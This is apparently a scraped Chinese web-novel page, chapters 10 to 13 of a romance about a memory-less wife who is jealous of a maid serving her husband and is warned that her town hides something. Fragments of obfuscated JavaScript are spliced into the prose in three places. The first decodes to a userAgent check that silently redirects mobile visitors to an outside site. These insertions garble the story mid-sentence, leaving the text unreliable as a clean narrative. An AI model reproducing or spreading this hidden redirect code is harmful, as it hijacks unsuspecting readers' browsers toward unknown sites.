楚绣笑起来,看了一眼沈遥,最后捋了捋自己鬓边发丝,道:“回夫人,奴婢自是被调去书房伺候的。爷的书房,没有上面的准许,谁又敢进呢?” “你!”锦书指着她,却又找不出什么骂她的理由。 “上次全府的下人找了一整日猫,都没找到,凭什么你一回府就找到了?莫不是你为了得姑爷青睐,偷了猫出府。” 楚绣一听这话,满脸委屈,双眼开始泛红,声音也尖锐起来,“锦书姐姐怎能如此冤枉人?奴婢好心为爷和夫人寻猫,最后竟成了错处。若锦书姐姐如此怀疑,可拿得出证据?” 锦书:“……” 看着楚绣双眼的金豆子不要钱一般大颗大颗滚落,沈遥心底什么情绪说不上来,最后还是从怀中掏出一抹帕子给楚绣递去。 “好了,别哭了,这事儿我会慢慢查,自是不会冤枉一个好人,也不放过一个坏人。” 楚绣身子一滞,低着头没有说话,接过那块帕子将泪水擦去,最后柔柔弱弱道:“夫人心善,奴婢相信夫人。如今奴婢在书房伺候爷,奴婢也会帮着夫人在爷面前多说说好话,让爷晚上多去夫人那儿留宿。” “不必。”沈遥蹙眉,淡淡拒绝,直接转身带着锦书离开,回了内院。 锦书一路都在为沈遥打抱不平,“夫人自从让奴婢盯着楚绣后,奴婢真一直都看着。她算是安分,每日管事安排的活计都老老实实做着。” “只是没想到,就没看她两日,竟直接入了姑爷书房。” 沈遥沉默,没有给她任何回应,只是一瞥比自己还着急的锦书。 宋衍回来的晚了些,当他推开主院寝室门时,沈遥正沐浴完,由锦书伺候着换上干净的寝衣,从净室走出。 空间似乎变得有些小,净室传出的水气萦绕在两人之间。 沈遥肌肤同剥了壳的鸡蛋,脸上带着沐浴过后的桃花腮,长发及腰,还有些微湿,未完全擦干,肩头的轻纱被浸湿些许,她骨架很小,肩膀也小巧得让人不敢轻易攀折。 宋衍与她生活过很久,却从未见过她这般私密模样,这是只有丈夫才能见到的模样,此刻竟直接给他看ying了。 他用大袖挡在身前,心跳加剧起来,血液沸腾,用尽了浑身力气才克制住嘴角诡笑。 待靠近她,近一步的距离后,他又滚了滚喉结。 沈遥乜着他,面上没有任何情绪,只是又微微看了一眼他喉结,问:“渴了?” “嗯?” “要是渴了就自己倒水,水在那儿。”沈遥一指。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181397|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋衍顺着她手看去,明明水就在一旁的案上,可她却指向门外。他明白了她的意思,在赶他走。 他旋即回过头,激荡的血液瞬间沉静下来,“诺诺今日做甚了?心情不好?” 沈遥扭头朝他勾了下唇,“没有啊,我今日心情不错的,下午出街逛了一圈,还跑了马。” 宋衍看她皮笑肉不笑的模样,只觉得浑身汗毛乍起,“诺诺累了?” 沈遥:“是挺累的,伺候不动你,让你书房那小丫头伺候吧。” “书房的小丫头?”宋衍蹙眉,似乎没能理解,“什么小丫头?” 沈遥见他如此,到嘴边的话半天说不出口,最后呼出一口闷气,扭头往拔步床而去,“没什么,我今日就是太过疲累了,早些歇息吧。” 她坐到床边,看着依然站在不远处,不知所措的夫君,乖得和猫儿似的眼睛定定看着她,有点可怜。 想到自己的态度,沈遥还是觉得小题大做了,可实在摆不出好脸色。 她最后长叹一声:“快些安寝吧,时衍,我说了,我很累了。真的。” “哦。” 宋衍点点头,看着她放下了帷帐,将两人隔开,一头雾水说:“诺诺安寝,我明日再来。” 说完后,他也不好再扰她休息,转身离开寝室,为她关好门。 沈遥很早便被小橘踩醒,她无奈将猫儿钳制住,抓到被子中想抱着再继续睡一回笼觉,却怎样也无法再度入眠。 起身后洗漱后,她问了一声,才知道夫君天还未亮,便离开葫芦镇去往城中上学去了。 “竟这么早,几时走的?” 锦书为她梳发,挑选了两只玉簪戴上,“寅时末,听闻姑爷昨夜温习功课到很晚,估摸着,只睡上了两个时辰。” “哦。” 看着铜镜中面容姣好的自己,又想起昨夜没控制住情绪,竟因一个小丫头对夫君发了脾气,一股内疚不知不觉间油然而生。 她起身走出屋子,在院中转了一圈,从梨花树上折下一枝花,拿在手上把玩着,越想越愧。 昨夜夫君面色似乎有些发白,两眼发青,一看便是许久未能好好歇息,她还对他如此阴阳怪气,将人赶走。 他每日勤奋上学,考取功名,也是为了她。 今日这么一大早,在她呼呼大睡时,他便要起床。 再说,只是见过楚绣从那书房中出来过一次而已,她有什么好气的。 沈遥啊,沈遥,你怎就如此小心眼呢? 或许今日等他回来,应该好好补偿。 不如……让他留宿好了。 “诶,你们听说了吗?楚绣姐姐昨夜被爷叫去书房伺候了。” “真的吗?那楚绣岂不是被爷收了?” “自是真的,书房灯一夜都亮着呢。” “这下可好了,楚绣性子好,对我们也好。你们说,她是不是很快要被抬成妾室了?” 沈遥怔住,眯眼往声音方向望去,是几个洒扫的小丫鬟在窃窃私语。 “啪”一声,沈遥手中的花枝被她掰断了。 臭男人,好一个香玉在怀,彻夜点灯,她不应该心软的。 11. 第 11 章 接连多日,沈遥都未与宋衍见面。 他学业似乎极为繁忙,每日归家时,沈遥已是入睡,离开时,沈遥还在睡。 听说,书房的床单倒是洗得勤快,每日早晨浣洗的婆子还没来得及去拆,便已经在装满水的桶里见着了。 沈遥原以为按楚绣那丫头的性子,定会想方设法来自己面前耀武扬威,岂料对方出奇安分。她多久没能见到夫君,便也有多久没见到楚绣。 阴雨连绵,空气中氤氲着湿漉漉的气息。 沈遥心情说不上很好,便也整日懒在家中没出过门。 可待久了也是无聊,不知怎的,忽然想起做炊饼的叶家姐妹。 “夫人真厉害,这揉面的手法,工序,一看便是老师傅。”锦书在一旁拍着沈遥马屁。 沈遥被逗乐,将手上沾着的面粉轻轻抹上锦书鼻尖,“行了吧,你以为我看不出来你在奉承我。这做了一上午,才成了几个?” 那日帮着叶家姐妹做成功了炊饼,令她对自己的厨艺信心大增。未料回家后亲手尝试,方知并非易事。好在摸索良久,终于还是寻得了些门道。 锦书笑着继续献媚:“那也是做成功了许多个,要是换奴婢来,一个也不行。” 她眼珠子一转,“若是姑爷回来吃到夫人做的这炊饼,定会欣喜。夫人,要留些给姑爷吗?” “他?”沈遥将手中擀面杖随意一扔,嘁了一声,“这几日也不知在哪儿鬼混,等见着再说。” 她随手拈起一个做好的炊饼,直接塞到锦书口中,堵住她喋喋不休的嘴,“吃你的吧,真是皇帝不急,太监急。” 锦书一哽,囫囵咽下,心底无奈,“姑爷学业忙碌,每日归家,都会先来主院看夫人一眼。” “只是夫人睡的早,起的晚罢了,正好将这时间给错开了。” 沈遥一怔,哼然:“那又如何,反正不给他吃。” 话虽这般说,她还是拿过个干净的盘子,挑拣出几个最为完美的炊饼放好,连摆盘都讲究,弄好后又随意往台子上一扔。 “锦书,放去书房。” “是,夫人。”锦书带着揶揄的眼神,笑着回她。 沈遥不想多解释,可净手后扭头又来一句:“我是今日吃太多,吃腻了,但总归是粮食,也不好就这样扔了。” 说完,她便头也不回直接跨步离开厨房。 这才忽然意识到,她刚才的话,简直此地无银三百两。 不知是否是炊饼的召唤,宋衍今日回来得很早。 可是沈遥对他还是不冷不热。 “你干嘛把饼端来我房间?”沈遥近旁点着一抹烛光,手中持着一本杂记,斜靠在一张美人榻上,眼眸带着懒散,半睁着扫向不请自来的夫君,话语中带着不耐。 宋衍步子一顿。 她还在生气,又不高兴了。 沈遥这样的性子对宋衍来说,其实真的很熟悉。 她看似总是一副什么都无所谓的态度,自小却是个内心敏感又柔软的性子。正因如此,他想要时刻将她捧在手心,好好宠着,照顾着。 儿时他活得小心翼翼,沈家下人不多,却总是欺他“私生子”身份,便是连阿姐看他也带着幽幽怨恨。 他最讨厌马夫的儿子,那小子时常抢他吃的玩的,有时还会打他,可他作为一个听话又寄人篱下的乖小孩,从来不会向家主告状。 阿姐曾看到过这一幕,她路过时,什么话都没多说,也没有任何多余的表情,只是默默走开。 那时他心想,果然如此,世上之人本就冷漠自私,更何况他还是她口中的“臭弟弟”。 可奇怪的是,自那日后,马夫儿子再也没找过他麻烦。后来他才知,是阿姐私下教训了马夫及其儿子,持着马鞭抽了他们一顿,告诫他们主子与下人的身份。 作为“私生子”和“臭弟弟”,他虽年幼,内心却早是颓垣断壁,后来不知何时开始,阳光雨露长久浸润,荒芜之中竟渐渐发了一株嫩芽,独立在破碎的石块之间。 他知道,那些阳光和雨露,皆来自他那总是口是心非的阿姐,他的诺诺。 宋衍抿唇低笑,滚着喉结将那盘炊饼放到案几上,落座至沈遥身侧。 沈遥转开视线,装模作样地看着杂记,似乎不想理他,却许久没有翻页,视线逐渐放空。 夫君究竟想做甚? 她等了许久,对方没动静,她这才转头朝他偷瞟一眼,结果被逮个正着。 沈遥无语,登时恼羞成怒,随手抄起书,直接砸向他怀里,“你又逗我,很好玩儿是吧?” 宋衍傻笑起来,将那本杂记合好,又将被折的书角压平,放至一旁。 “诺诺怎么在生气呢?气我这些时日忙碌,竟忽视了你?” 沈遥轻哼一声,“这有何好气的?” “这些时日验书,所以实在忙碌。不过现在好了,最忙的过去,现下验书已毕,这几日我又能多陪陪诺诺。” “谁要你陪了啊?”沈遥阴阳怪气,“反正我有小橘陪就够了。” 沈遥心底补了一句,正好新收了那丫头,每日在书房伺候,我也省了不少精力。 说到小橘,也不知在床上团起睡觉的猫儿做了什么噩梦,竟突然炸毛,原地蹦跶三尺,最后转溜着眼珠子,看到不远处的沈遥和宋衍,放下心后,又重新躺好,瞬间呼呼大睡过去,惹得人不由笑起来。 原本两人间的寒冰似乎瞬间消融。 笑了一会儿后,沈遥发现宋衍一直盯着自己,又将唇角压了回去,恢复最初的面无表情,也不说话。 她感到气氛似乎有些令人不安,便看了一眼案几上的炊饼,转移话题道:“这饼都凉透了。” 宋衍伸手从中拿起一个,“听说这是诺诺亲手做的,我自然要在你面前吃。” “……” 无不无聊…… 沈遥转头翻了个白眼,又看着他吃相优雅地一口口咬下,心底竟有些紧张起来。 宋衍很快吃得只剩最后一口,他怔怔地看着手中的饼,道:“还是以前的味道,诺诺即便不记得了,这做炊饼的手艺竟还如此好。” 沈遥眨了眨眼,轻咳一声,微微昂着头,“嗯,冥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她拿起一旁的团扇,扇着,随口继续道:“那叶家妹妹最有意思,好像对我很感兴趣,还说我是什么神秘夫人。后来问她,她又不说了,好奇怪一人。” “是么?那是蛮奇怪。”宋衍垂眸,声音有些低沉。 …… 叶家姐妹对于沈遥来说,只是与夫君聊天时随口一提,她并未在意更多。 后来天气好了不少,连续几日不再下雨,小镇中散步的路人,叫卖的小贩,打更人的砰砰声,时不时传入时府,带着生机勃勃。 小橘性子活泼,喜爱跑至庭院中玩耍。这日,又趁着阳光明媚,几步跑去了外院,穿过垂花门,跳上了墙边一棵老槐树。 沈遥对她的顽皮实在无奈,一路追着猫儿到了树下,四只眼珠子互相瞪着。 “这傻猫又下不来了,锦书,快去寻个杆子。” “是,夫人。” 沈遥听着它喵呜的叫声,实在哭笑不得。 “时夫人!时夫人!” 一熟悉的声音从墙顶传来,沈遥转眼看去,竟是叶家妹妹叶灵爬上了时府墙头,灰头土脸,身上的粗布衣也被墙沿蹭破。 “怎么是你?” “我专门来找你的!” 叶灵这次眼中透着焦急,警惕地扫视四周,不知在慌张和恐惧些什么,也不知为何不走正门要爬墙。 “找我做甚?” 叶灵语速很快,又有些不连贯,“这个小镇!你要小心!不是你想象中那样!” 12. 第 12 章 “不是哪样?” “不是哪样?” 两个声音异口同声问起,沈遥心头一颤,扭头看去,是不知何时站在自己身后的宋衍。 她感觉,刚才身后的夫君似乎忽然散发出一股转瞬即逝的戾气,可当她看向他时,什么都没有。 他面色柔和,如沐春风,唇角微微扬着,似青草般的温柔,萦绕着沁人心脾的冷香。 沈遥眨眨眼,再转回头往墙头上看去时,叶灵的身影已消失不见。 “奇怪。” 宋衍眼睛往叶灵消失的方向瞥去一眼,问:“那是谁?” “就是我上次和你说的,炊饼铺子的叶妹妹。”沈遥食指敲着下巴,“她刚才的话究竟何意?竟翻墙跑来与我说。” 宋衍隔着她的袖子握住她的手腕往下拉,“她看上去年纪小,或许只是淘气了些,来寻你闹着玩儿,别多想。” 沈遥感受到他手心的温度,隔着轻薄的衣料传递到她的肌肤上,他力气不大不小,紧紧握着不让她那么容易挣脱,也不让她退缩,却又不会太过用力让她感到侵略与压迫。 沈遥被宋衍一路拉着回了书房。 屋内有股与他身上相同的香,让人舒适。 沈遥回过神,脑海中还在思索着叶灵说的话,直到面前的夫君捏了捏她柔软细腻的脸颊。 “还想呢?担心甚?” 沈遥脑袋往后一仰,眼看着他揉了揉她脸,他身上的气息更为浓烈,无孔不入。 “我、我只是、只是觉得,她说那句话时很认真,让我小心,究竟小心什么?还有这个小镇为何与我想象中不一样?到底有什么不一样?” 宋衍定定看了她一会儿,而后一笑,手指轻轻敲打着一旁的桌面,反问她:“诺诺觉得,这小镇应该是怎样呢?” 沈遥因他的问题而愣住,她细细凝思,确实想不出一个合理的,明确的答案。 宋衍悠悠引导着,道:“诺诺可是从小生活在此地,就算不记得曾经,可醒来后也生活了许久时日。你可仔细回想,这小镇有何处能让你需要小心的?” 沈遥垂眸,眼前浮现过小镇中行人,小贩,伶人,聚在一起聊天的婆子们,还有每日准时跑到杨柳树下练功夫的老大爷,总是抱怨被小黄狗踩坏青菜而暴怒的大娘。 所有人皆欢声笑语,生活安稳,也还算富足,宛如世外桃源,似乎哪儿哪儿都与叶灵口中所言冲突。 宋衍细细观察着她的神情,“诺诺,你忘了啊,你曾经也说过,那叶妹妹本身便是个奇怪之人。既然是这样的人,做出什么有违常理的举动,不也很正常,以后别跟这种人来往。” “诺诺,这世道不是你想得那般简单,许多表面看起来无害之人,背地里就利用你。你向来单纯,又失了记忆,若非有为夫替你观察着身边之人,时府家业怕都被人给骗光了,小败家。” 沈遥:“……” 宋衍又说:“不过就算如此,也有为夫护着你,陪着你。” 沈遥揉了揉脖颈,心脏像是被针无影无形地刺了一下。 她被宋衍说服了,点头不再多思。 看着大白日站在跟前的夫君,她问:“你今日没有去上学?怎么这个点还在家呢?” “怎么?诺诺不想我在家,着急赶我走啊?” 沈遥白他一眼。 她发现了,夫君如今在自己面前变得愈发没脸没皮,满嘴都在勾搭她。 她语气充满无奈,“往日这个时辰,你都不在家。” 宋衍不再逗弄,慢悠悠道:“今日早晨去了书院,结果夫子生了病,于是提早回来了。” “那也好,你看起来多疲惫,休息休息也好,别太逼自己了。” 沈遥决定履行一下作为妻子的职责,关心关心他。 他低头看着她,眸中带着某种不知名诡异的情绪,跳动着光,道:“诺诺这是……心疼为夫了?” 沈遥没忍住又翻了个白眼,“只是担心你身体出了毛病,这时府又没了男丁,再来个远房亲戚吃绝户,那我就得准备改嫁了。” 宋衍吃了瘪,舌尖抵着上颚,正要说什么时,书房的门被忽然叩响。 他直起身子,转头看向书房门,“进。” 书房门被推开,楚绣端着一碗酥酪踱步而入,抬头看到沈遥也在时,微微一怔,而后上前恭敬朝着两人行礼。 “参见爷,参见夫人。奴婢见这天气闷热,听闻爷今日下学早,便亲手做了碗酥酪,想着给爷带来。” 沈遥朝着楚绣手中的小碗看去,那酥酪白嫩,散发着淡淡凉气,一看便知楚绣手艺颇好。 只是她没想到,看楚绣熟悉的模样,并非第一次朝着夫君献殷勤。 她还未说话,夫君淡淡的声音传来:“放着。” 沈遥背对着他垂眸,嗓子眼似乎堵了一口气。 楚绣则心头一喜,将那酥酪轻车熟路地放在罗汉床旁的小几上,而非书案。 她似乎知晓主子不喜在书案上摆放吃食。 宋衍看着沈遥的后脑勺,“诺诺……” “我还有事儿,好忙的,你虽不上学,也还有书要读吧,我就不打扰了。”沈遥直接打断。 她踱步迈出门槛时,又扭过头看着他,“这天气确实闷热,你好好用这酥酪吧,别辜负了小丫头一番好意。” 说完,她便头也不回离开。 宋衍凝视着她的背影,上前两步想要喊她,南风突然出现在一旁,健步如飞而来,声音严肃:“时爷!” 南风没有说多余的话,只是一个眼神过去,宋衍便明白,是宫里出了事儿。 他蹙眉朝着南风示意了下楚绣那丫头后,便头也不回离开。 南风旋即转身往楚绣去,厉声道:“别忘了爷上次的警告,下次再越矩,那以后也不用再出现在时府了。” 前些日子沈遥冷着宋衍,寻锦书打听后,便知是这丫鬟在沈遥面前胡说八道。但他着实不敢相信沈遥会因为一个丫鬟对他生气,便只是简单将人叫来警告了一番。 只是一个下人,他转眼便忘了,却没想到她这次又是自作聪明。 楚绣紧紧咬着唇,很快便红了眼睛,柔柔弱弱的模样却没博得任何人怜悯,最后只能自己端走那碗酥酪离去。 …… 沈遥快步走了许久,似乎在躲避追在身后的鬼怪一般,她抿唇转头看了一眼,结果什么都没有。 宋衍没有跟来。 她长叹一声,心底有些失落,可又说不上来究竟为何。 走到梨花树下时,白色的花瓣正随着一阵风从枝丫上落下,打了几个旋儿落到她肩头。她扭头伸手,将那片花瓣捡起捏在指间轻轻搓揉。 身后传来脚步声,她心底一动,转身盯上了那双碧绿的眼珠子。 锦书抱着小橘,气喘吁吁道:“夫人走得真快,奴婢将猫儿从树上弄下来后,便寻了好一阵。” “刚才跟时衍去了趟书房。”沈遥掩住自己心底隐隐的失落,伸手将软乎乎的小橘抱到自己怀中,轻轻抚摸着,“这猫儿真够顽皮的,脑子又笨,整日想着往外跑,跑出去后又回不来,以后可得看好了。” 沈遥不想那么快回房,便将小橘放在梨花院中,锦书随意捡了一根长枝条逗弄着。 她则背靠着一旁的抄手游廊,看着院中一人一猫玩儿着追逐的游戏,脸上也不由带笑。 “楚绣姐姐,你如今每日出入书房,与爷定然亲密不少吧,真叫人羡慕。” 沈遥蹙眉,扭头往走廊后方的墙角看去。 楚绣已经离开书房好一会儿,如今被几个丫鬟围在中央奉承着,高高在上,脸上带着淡淡笑意,眼中却是对周围的不屑一顾。 怎么到哪儿都能见着这丫头?阴魂不散。 沈遥被柱子挡住,几人并没看到她。 楚绣一听这话,脸颊连带着耳根子瞬间发红起来,剜那丫鬟一眼,道:“说什么话呢?不是你们想的那样。” 众人觉得她只是在口是心非,纷纷打趣起来,“楚绣姐姐脸红成这样,可不就是害羞了。” “楚绣姐姐什么时候能得个名分啊,爷有提过吗?” 楚绣笑着轻轻拍了那丫鬟肩头一下,啐了声:“还要不要脸了。” 她低下头扭捏着,“这种事情,也还是要看夫人那边态度。若是夫人容不下,就算未来做了良妾,怕是也不会太好过。” 这般模样,众人自然心底了然,安慰起来:“楚绣姐姐温柔贤淑,人这么好,就算夫人不容,只要爷心里有姐姐,想着姐姐,这时府中自然会一直有姐姐的地位。” “是啊,以后我们,还得靠着姐姐提携才是。” 楚绣享受着众星捧月,没有多言,也未反驳,只是昂首挺胸往前走着。 直到众人路过沈遥时,见手中把玩着花枝的她,忽然被吓得一激灵,纷纷屈膝行礼。 “见过夫人。” 沈遥这才将视线挪到楚绣身上,又看着她身边的丫鬟们,你看看我,我看看你,个个颤抖着身子。 也是,当初寻猫那事儿,除了她动用主母权利,第二日还被管事整顿,他们这些下人如今是害怕自己的。 可是楚绣与他们相处得更多,更紧密,又是温柔姐姐,自然纷纷想要奉承着楚绣。 沈遥冷笑一声,“怎么?这时府中,抬谁身份,都是你们说了算的?” “奴婢不敢!”众人异口同声道。 沈遥淡笑,话语柔中带刺,“就算是妾,好像也是奴婢吧。既然是奴婢,我也能打了发卖出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天色渐晚,月亮爬上天际,院中池塘蛙鸣奏响,夏夜晚风徐徐,树影斑驳。 宋衍带着满身疲惫回到时府后,直接往内院而来,推开门,便见沈遥侧躺在美人榻上,点着烛光看书,听到他回来,头也不抬一下。 宋衍上前,蹙眉道:“你每晚都这时候看书?不怕眼睛瞎了?” 沈遥这才终于抬头瞥他一眼,又看看刻漏,慢慢合上手中书册放置一旁,起身坐到妆奁前,开始拆着鬓发上的簪钗。 “你说的是,我之后注意。时辰不早了,你也早些休息。” 宋衍坐到她身后,帮着她拆发,“前些日子学业忙碌了些,好些时日未能与夫人说话。诺诺想为夫了吗?” 沈遥如瀑布般的发丝垂下,她没有情绪地起身,往净室走去,带着难以掩藏怨气道:“不想,反正你也不想。” 宋衍头疼,咬牙起身跟上她:“我当然想诺诺了,可不能这般冤枉为夫。” 沈遥没有多说什么,只往后瞥了一眼,冷淡道:“哦,是吗?” 这都多久了,还在气…… 宋衍反被气笑了,舌头抵着腮帮子,牙齿开始打颤。 虽然沐浴过,可周身似乎还残留着归家前的血腥与尖叫,心还在猛烈地跳着,似乎有小虫子一群群爬过,叮咬。 他控制不住,上前两步,在沈遥进入净室前一把拉过她手腕,转身将人抵到墙角。 沈遥被他举动吓得猛一颤,被迫仰起头,感受到他离自己极近的距离,男人的热量与心跳声似乎顺着耳蜗传递到她的心上,同时又被冷香所笼罩,他粗重而急促的呼吸喷薄在她的脖颈上,两人视线焦灼,一时间分不清是谁的心脏跳动更为剧烈。 宋衍压制着情绪,身子强硬,语气却更加温柔,问她:“诺诺怎么了?若是我有何处做的不好,定要与我说,别不理我。” 沈遥想离开面前的人墙,却被钳制住,嗓音带着委屈,“你每日书房有丫头伺候,谁知道外面是否还养着个谁。” 宋衍不说话,她又继续口吐连珠:“你也不用藏着掖着,若你真想抬那丫头做妾,我也不会为难。若你有外室想收入府中,那收便是。反正你是时爷,是家主,我只是夫人罢了。” “你看隔壁的王老头,还未娶妻,不就已经四个妾了么?马场主人李家公子,也是一妻二妾。如今的大户人家,哪家没几个妾?” 宋衍愣怔许久,看着她,最后抿着嘴低头笑了出来,好像愈发开心,眼中揉进春光。 沈遥被他的笑弄得汗毛直立时,他再次抬头看她:“诺诺这是吃醋了?” “谁吃醋了!” “醋了就是醋了,没什么不好承认的。” “我说了没,你听不懂人话?” “嗯,诺诺吃醋,我高兴。” “你有病吧。” 宋衍不怒反笑,看了她许久,又眨了下眼,凑近她耳边,热气喷薄而出,让她痒得肩膀一缩。 “诺诺,我今岁十八,却仍是童身。你若不信,试试不就知道了?” 怎么试?试得出来吗? 沈遥:“……童子之身,你很骄傲?” 13. 第 13 章 屋内昏暗摇曳的烛光晃动在脸上,格外暧昧,心跳声与眼底的斑驳,都在蠢蠢欲动。 只是不远处小橘的动静实在大煞风景。 两人焦灼的视线陡然被一阵阵呕吐声吸引过去,猫儿在沈遥的书上龇牙咧嘴,吐出一滩类似毛球的褐色脏物,结束后便开始转身扒拉着手爪,试图用空气掩盖那股浓郁的味道。 沈遥见惯不怪,淡然地转过头,“……它又吐了,现在是不是得处理下。” 宋衍心底的躁动被一打岔,宛若一盆凉水浇下,给成功熄灭下来,他甘拜下风。 陪着沈遥用湿帕子将书上的呕吐物清理干净后,原本凝固或是鱼跃的氛围此刻都荡然无存。 沈遥似乎不太想说话,宋衍便将她看的书拿起,坐到她身旁,又随意翻了两页。 他知如今姑娘家都喜欢看关于情爱的话本。 或许跟她聊聊其中故事,有利于增进夫妻感情。 “话本?” 沈遥瞥他一眼,“嗯”了一声,又道:“长安异闻集,与其说是话本,其实是许多疑案的整合。” “哦。”虽然不是情爱话本,至少她愿与自己闲聊,宋衍心头一喜,从一旁果盘中拿过一只香蕉剥皮后啃着,顺着她问:“今日看了甚有意思的?” 沈遥想了想,道:“嗯,是许多年前长安发生的一起案件,一大户人家的老爷,头颅和身骨被发现在茅坑之中。因着茅坑本就味重,老爷嘴中塞着他的口口,又掺杂着屙物,也是失踪了一月有余,才被发现。” 宋衍口中的香蕉差点儿吐出来,旁边已经吐过的小橘倒是睡的深沉,他勉强笑笑,“找到凶手了吗?” 沈遥:“官府搜寻调查了许久,最后把怀疑的目光放在了家中小厮身上,又从其房中搜出带血的砍刀。据说那家老爷脾气不好,时常打骂下人,引得众人怨声载道,而那小厮被捕后严刑逼供,便认了罪。” “嗯,这样看,这案子也确实显而易见,那这小厮定是判了死罪。” “可那起案件中,确实还有未解决的疑点。比如,老爷只剩下头颅和身骨,那他的五脏六腑去了何处?又比如让小厮招供作案过程时,他支支吾吾,说的牛头不对马嘴。” 宋衍分析:“如此残忍的作案手法,确实像极了仇杀。不过严刑逼供下来的,通常都不是真相。那后来呢?” 沈遥眼睛盯着他手中的香蕉,“确实。后来失去丈夫的夫人每日以泪洗面,为其抄诵了百卷经书后,便消失在长安。据说准备青灯古佛下,守一辈子寡。” “情比金坚。”宋衍颔首,将剩下的香蕉咽下,斜眼朝着沈遥看去,“毕竟是夫妻,到底夫妇相随。” “案子就这样没有进展,直接定性结案。直到许多年,那户人家破败后,院子转手卖人,新主人才从庭院中挖出了带血的裙衫。原来真凶,其实是那老爷的夫人,小厮只是她的替罪羊罢了。” 宋衍:“……” 沈遥斜靠到美人榻上,忽然低笑起来,“而这其中,其实除了那位夫人,还有一位关键人物。” “谁啊?” “老爷下面的一个丫头,那丫头为老爷生下了一个庶子,却始终得不到名份,最终因爱生恨,换手段,勾引了夫人。老爷那日撞破两人在房中磨镜,大发雷霆,要处死丫头,夫人便趁其不备将人捅死。” “话说那丫头也是随着相处对夫人情根深种,看着夫人对杀夫产生的痛苦,便提议吃下老爷,这样三人便能永远在一起了。至于老爷嘴中的口口,则是丫头对老爷产生的怨怼,挟私报复,并未告知夫人。所以老爷最后,只剩下头颅和身骨。” “抄完经书后,两人便私奔了。” “……” 宋衍低头,躲开沈遥的视线,似乎有些无语。 他思索一番后,还是决定表明衷心,“所以啊,这男人,不该小看女人,特别是四处留香,招蜂引蝶的男人,才更要小心。” “这丫头的错更大,着实……当然,老爷最初不去招惹这丫头,自然什么也不会发生。” 沈遥淡淡道:“我只是说了一个今日看到的故事罢了,别多想。” 宋衍没说话,揉了揉后颈,暗中发誓以后再也不吃香蕉了。 可转念一想,那夫人和丫头将老爷吃下…… 他倏然将自己带入,若阿姐某日恨他至极,亲手杀了他,再将他吃下,即便身死,却能与她融为一体,也不失为一件美事。 他漆黑的眸悄悄亮了一下,压下隐隐的兴奋,朝着沈遥随意提了一嘴:“不过那丫头和夫人吃下老爷后,到还真是永不分离了。” 沈遥神情怪异地睨他,片刻后,云淡风轻道:“老爷被她们吃下去后就变成屎了,谈何永不分离?” 宋衍:“……” 他半晌说不出话,刚才的兴奋彻底荡然无存。 一阵尴尬后,抬头看着沈遥,转移话题,想要哄她高兴,“我这段时日忙完,接下来会休沐几日,明日陪诺诺出街,四处走走?” “嗯。” 沈遥同意了,正好自己在家中闷了好些时日,也想要出门溜达一圈。 …… 同一时间,楚绣沉着脸回了后罩房,想到今日在南风还有沈遥那儿受的气,叫她嗓子眼憋火憋了一整日。 楚绣母亲朱氏放下手中女红,笑盈盈道:“今儿……” “别提了。”楚绣知道朱氏想问什么,直接打断她,“那南风真是好大口气,我去给爷送酥酪,爷都没说什么,竟得这卑贱书童好一通教训。” 朱氏听了后脸皱了起来,“时爷就没教训教训他?” “时爷当时事儿忙着,再说,爷为人和善温和,怕也是不想落了书童面子。”楚绣咬唇,想起时衍书房中柔和的眼神,一时间竟让她耳根子发红,心跳加快起来。 当时,他在看她。 朱氏打心底里替楚绣着急,“除了时爷,夫人那边也得做足脸面。” 楚绣白了一下眼,并不是很服气,“沈遥不过是得了离魂症的一个疯女人罢了,她连娘家都没有,所谓的义父一家也去了扬州。自打嫁给爷,到了现在都还未圆房,可见并不得爷心意。” “她现在可是想方设法地讨着爷,不然怎会赖到书房去?” 朱氏听闻后满意地朝着女儿点点头,在她看来,女儿也不过是身世差了些,却是样样都好。就连那马夫见了人都目不转睛,她对女儿吸引爷一事并不忧心。 …… 两人出街这日是许多人的休沐日,街上行人翻了一倍,四周商品琳琅满目,乐坊中伶人的唱声徐徐入耳。 沈遥兴致上来,走得快了些。 忽然宋衍眼疾手快抓住她的手腕将她拉到一边,她被迫撞到他怀中,被他有力地圈住。 还没反应过来时,他着急的声音传来:“傻了吗?真是,出街不看着你,连路都不会看了,刚才若非拉你一把,就被马车撞了。” 沈遥抬起头,揉揉鼻子,往路尽头看去,一辆普通的马车远远离去。 等她回过神来,才发觉宋衍的手还搂在她的腰间,即便安分不乱动,也叫她被抚着的部位发痒发热。 一旁的锦书在偷笑,沈遥这才一推,他立刻将她放开,满眼无奈。 沈遥:“好了好了,我这次会看路。” 宋衍挑眉,不再说话,只是隔着袖子拉过她的手腕,穿过人群往前走着,锦书与南风安静地跟在他们身后,视线不乱动丝毫。 他也并非第一次这样拉她,也不是双手相扣,再怎么说,还是隔着衣服,可心跳却控制不住地小鹿乱撞起来。 不过这样的暧昧没有持续太久,沈遥便被炊饼铺子吸引了目光,挣脱他的手,往那铺子走去。 宋衍低头看着自己空荡的手,对着空气捏了捏。 炊饼铺子的老板换了个男人,面生,见到他们一行人满脸热情,“客官,可要尝尝小铺新出炉的炊饼,保证好吃,吃了还想吃。” 沈遥没带着钱袋,她转身往后去寻宋衍,见到一个疯跑的小男孩正撞倒在了他身上。 宋衍蹲下身子,将小男孩扶起,又将掉落在一旁的小木马捡来放回男孩儿手中。 不知道他说什甚,淡笑着摸了摸男孩儿的头,本是要哭的男孩儿立马咧嘴笑了出来,拿着小木马跑远,只不过这次小心了许多。 沈遥还没说话,宋衍注意到她视线起身,走到她身后,自觉地从钱袋掏出铜板买了两个炊饼,稍微大的一个塞到沈遥手中。 